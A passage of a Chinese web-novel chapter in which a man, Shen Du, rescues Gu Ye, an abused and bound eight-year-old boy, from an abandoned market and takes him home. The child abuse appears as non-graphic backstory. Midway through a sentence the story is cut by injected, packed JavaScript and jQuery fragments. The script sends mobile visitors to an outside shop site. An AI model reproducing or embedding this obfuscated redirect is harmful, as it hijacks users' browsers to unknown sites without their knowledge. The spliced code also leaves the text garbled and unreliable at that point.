沈渡和那双充满恨意的眼睛对视了三秒钟，然后做了一件让顾夜愣住了的事。
他坐了下来。
不是在椅子上，不是在他能触碰到的地方。他坐在了门边，背靠着门框，和顾夜之间隔了大半个房间的距离。他坐下之后，把外套脱下来，叠好，放在自己身边的地上。然后他把手放在膝盖上，安静地看着顾夜。
没有“我是来救你的”。没有“别怕，我不会伤害你”。没有“你还好吗”。一句废话都没有。他只是坐在那里，像一块石头，像一棵树，像一个不会移动的、不会骗人的存在。
顾夜盯着他，那只红肿的眼睛里，恨意里慢慢长出了一丝困惑。他在这个世界上见过的每一个成年人——父亲，债主，那些来“租”他的人们——走进门的时候都会做一个动作：靠近。他们靠近他，居高临下地看他，伸出手来抓他。从来没有一个成年人在走进这扇门之后，选择坐下来。选择保持距离。选择把自己放在和他一样低的位置上。
过了很久，久到台灯的灯泡闪了两下，顾夜开口了。声音沙哑得几乎听不清，像一把生了锈的刀在砂纸上磨：“……你是谁。”
不是疑问句。是审问句。是在问“你是哪一边的”——是父亲派来的？是那些人派来的？是来带他走的？还是来……反正不管是谁，都不是好人。
沈渡没有回答“我是来救你的”。他说了一句让顾夜完全没有预料到的话：
“我家里有三个小孩。女儿六岁，养了一只熊，熊腿被拆过，缝好了。两个儿子，一个八岁，一个七岁。八岁的那个喜欢把所有盘子擦三遍，七岁的那个有一把琴，叫小夜，每天都要擦弦三遍。他们都很吵。”
顾夜的眉头皱了一下。
不是嫌吵。是不理解。他不理解这个人为什么要跟他说这些。他的脑子里正在做一些极其快速的运算，试图找出这句话背后的陷阱。但陷阱没有找到。这句话没有陷阱。它只是一句关于三个小孩和一只熊腿的废话。一句毫无用处的、在这个废弃的建材市场、在这个被绑着手、浑身是伤的深夜里，完全不搭调的废话。
但就是这句废话，让顾夜的眼睛里出现了一种新的东西。
不是信任。不是感动。不是任何正面的情绪。
是茫然。
他已经做好了应对一切的准备——应对拳头，应对呵斥，应对虚伪的善意，应对冷漠的命令。他准备好了所有的武器：恨意、沉默、凶狠、甚至死亡。但他没有准备好应对一个坐在门边的陌生人，告诉他一只熊的腿被拆过。
这不在他的剧本里。
“你，”顾夜的声音还是沙哑的，但多了一丝不确定，“你到底想干什么。”
沈渡看着他，目光平静得像一面没有风的湖。
“我想给你三个选择，”他说，声音不大，但在空旷的房间里听得清清楚楚，“第一，我解开绳子，你自己走。门在你左边，下了楼往右拐，走五分钟有一个公交站，末班车十一点半，现在十点五十。你走出去，我再也不会来找你。”
顾夜没有动。沈渡继续说：“第二，我解开绳子，你留在这里。明天早上那些人会来，你继续像以前一样活着。我会走，不会再来。”
停顿。沈渡的声音变得更轻了。
“第三，我解开绳子，你跟我回家。我家里有一个吵的，一个安静的，一个还在学怎么笑的三小只。他们可能都会很喜欢你。但如果你不想被人喜欢，你也可以不理他们。我家有很多地方可以躲，你可以在衣柜里待着，窗帘后面，床底下。我说到做到，不会骗你。”
顾夜听完，沉默了很长时间。
长到沈渡以为他睡着了。但他没有。他在想事情。他在想自己的父亲——那个把他租出去的男人，每次给钱的时候都会笑着说“乖，下次还找你”。他在想那些人——他们把绳子勒进他的手腕里，说“你要是不听话，有你受的”。他在想这个世界上每一个靠近他的人，最终都会做同一件事——伸出手，抓住他，然后伤害他。
而眼前的这个人，从进门到现在，从来没有伸出手。
顾夜低下头，看了看自己被绑在身后的双手。手腕上的绳子已经被血浸透了，深红色的，在灯光下像两条蜿蜒的蛇。他用那只还能动的手，慢慢地、艰难地攥紧了拳头。
然后他说了一句话。
“你不解开怎么带我走。”
声音很小，带着不屑。像一只浑身竖着刺的刺猬，明明已经快要冻死了，还要龇牙咧嘴地说“我不冷”。但沈渡听见了那句话里面，藏得极深极深的、几乎不可能找到的、像珊瑚礁缝隙里最后一粒珍珠一样的东西。
不是请求。不是答案。
是你在一个八岁的、被出卖过四次、被伤害了无数次的孩子的嗓音里，能听到的最接近于“我想活”的声音。
沈渡站起来，走近了三步。没有太多，三步而已。他在距离顾夜一米的地方蹲下来，从口袋里拿出一把小刀——不是武器，是折叠刀，平时用来拆快递的那种。
他把刀刃打开，刀尖朝向自己，刀柄朝向顾夜。
“我先帮你解开绳子，然后刀给你。如果你想走，刀你留着。如果你想留下来，刀也留着。它本来就不是我的，是我在楼下捡的。”
沈渡绕到顾夜身后，用刀刃轻轻挑断了绳子。动作很轻很轻，刀刃几乎没有碰到顾夜的皮肤。绳子断了，顾夜的手从背后松开来，垂落在身体两侧。
他的手在抖。不是害怕的抖，是血液循环恢复之后那种针刺一样的、密密麻麻的、疼到骨髓里的抖。手腕上两道深深的勒痕，血珠从破皮的地方渗出来，像两条红色的项链。
沈渡把刀放在顾夜触手可及的地方，然后退回了门边的位置，坐下来。
顾夜没有拿刀。
他低着头，看着自己被勒出血痕的手腕，看了很久。然后他慢慢地、艰难地活动了一下手指。每一根手指都在发抖，像五根被风吹弯的蜡烛。他把手指一根一根地展开，又一根一根地握紧。展开，握紧。展开，握紧。
他在确认自己的手还在。
确认自己还有手。
确认自己还能握住什么。
沈渡坐在门口，没有催他。台灯的灯泡又闪了一下，光线暗了几分。外面的风更大了，铁皮屋顶被吹得哐哐响，像有什么东西在屋顶上走来走去。
过了不知道多久，顾夜抬起那只没有肿的眼睛，看着门口的沈渡。
那只眼睛里的恨意还在。但恨意下面，有什么别的东西在涌动。像冰面下的河，看不见，但你能感觉到它在流。
“你说的那个家，”顾夜的声音沙哑得像砂纸磨过的木头，“有吃的吗。”
沈渡看着他，嘴角弯了弯。
“有。今天做的红烧肉，还剩了一点。”
“……我不喜欢红烧肉。”
“那你想吃什么？”
顾夜的嘴唇动了动，好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547252|204194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
像想说一个很简单的词，但那个词太重了，压在舌头上，说不出来。他低下头，用沙哑的、几乎听不见的声音说了一句：
“……面条。加蛋。”
加蛋。煮面的时候卧一个荷包蛋。就是这么简单的一件事。但顾夜已经不记得上次有人问他“你想吃什么”是什么时候了。也许从来没有人问过。
沈渡从地上站起来，把叠好的外套拿起来，走到顾夜面前。这一次他没有蹲下来保持距离，而是把外套展开，披在了顾夜肩上。顾夜浑身发着抖——不是因为冷，是因为太久没有人给他披过衣服了。他的身体已经忘了被人触碰是什么感觉，忘了被一件还带着体温的外套裹住是什么感觉。他的肩膀在沈渡的外套下面剧烈地耸动着，像一座快要喷发的火山。但没有声音。顾夜不会哭。他可能已经忘了怎么哭了。
沈渡没有抱他，没有拍他的背，没有说任何“没事了”之类的话。他只是把外套披在他身上，然后站起来，走向门口。
走到门口的时候，他停下来，侧过头。
“走吧。家里有三个等在门口的小孩，还有一个卧鸡蛋的面条在等你。”
顾夜坐在墙角，浑身是伤，手腕上还在渗血，左眼肿得快要睁不开，身上披着一件不属于他的灰色外套。他低着头，看着自己血肉模糊的手腕，看着自己青紫的膝盖，看着自己赤着的、沾满灰尘的脚。然后他把手伸进外套口袋里，摸到了什么东西。
一颗糖。草莓味的，软糖，包装纸上印着一只笑眯眯的小熊。不知道是沈渡什么时候放进去的。也许是在来的路上，也许是一直就在那里的。
顾夜把糖握在手心里，握得很紧很紧，紧到糖纸发出细微的窸窣声。
然后他从地上站了起来。
腿在抖。站不稳。他扶着墙，靠着墙站了一会儿。台灯的光落在他的脸上，把他那只肿了的眼睛照得像一颗快要坏掉的果子。另一只眼睛里，恨意还在，但恨意的缝隙里，有一颗很小很小的、几乎看不见的东西正在发芽。不是信任，不是希望，甚至不是期待。只是一颗种子。被放在一个被砸烂了无数次的花盆里，它不知道外面的世界是什么样的，但它还是想试一试，试一试能不能破土而出。
顾夜松开扶着墙的手，摇摇晃晃地迈出了第一步。没有穿鞋的脚踩在冰冷的水泥地上，灰尘和碎玻璃硌着脚底，他一声没吭。沈渡走在前面，没有回头，没有放慢脚步，但他走路的步伐比平时小了很多，比平时慢了很多。慢到身后那个浑身是伤、赤着脚、走一步晃三步的孩子，能勉强跟得上。慢到身后那个孩子不需要开口说“慢一点”，因为他已经足够慢了。
慢到像在等一个人。
从建材市场出来的时候，风很大。沈渡走在前面，顾夜跟在后面，两个人之间始终隔着三米的距离。不是沈渡不想靠近，是顾夜需要这三米的距离。这是他给自己留的安全区。如果前面那个人忽然转身，如果前面那个人忽然露出真面目，他还有三米的时间逃跑。沈渡给了他这三米。他给了他足够的安全区。
月亮从云层后面露了出来。月光落在两个走在深夜街道上的人身上，一个穿着灰色衬衫，背影修长；一个浑身是伤，赤着脚，穿着不属于他的外套。他们的影子在路灯下被拉得很长很长，先是一前一后，然后慢慢地，慢慢地，影子开始重叠。
不是人靠近了，是路变窄了。
也可能是，心里那道墙，不知什么时候开始，裂开了一道缝。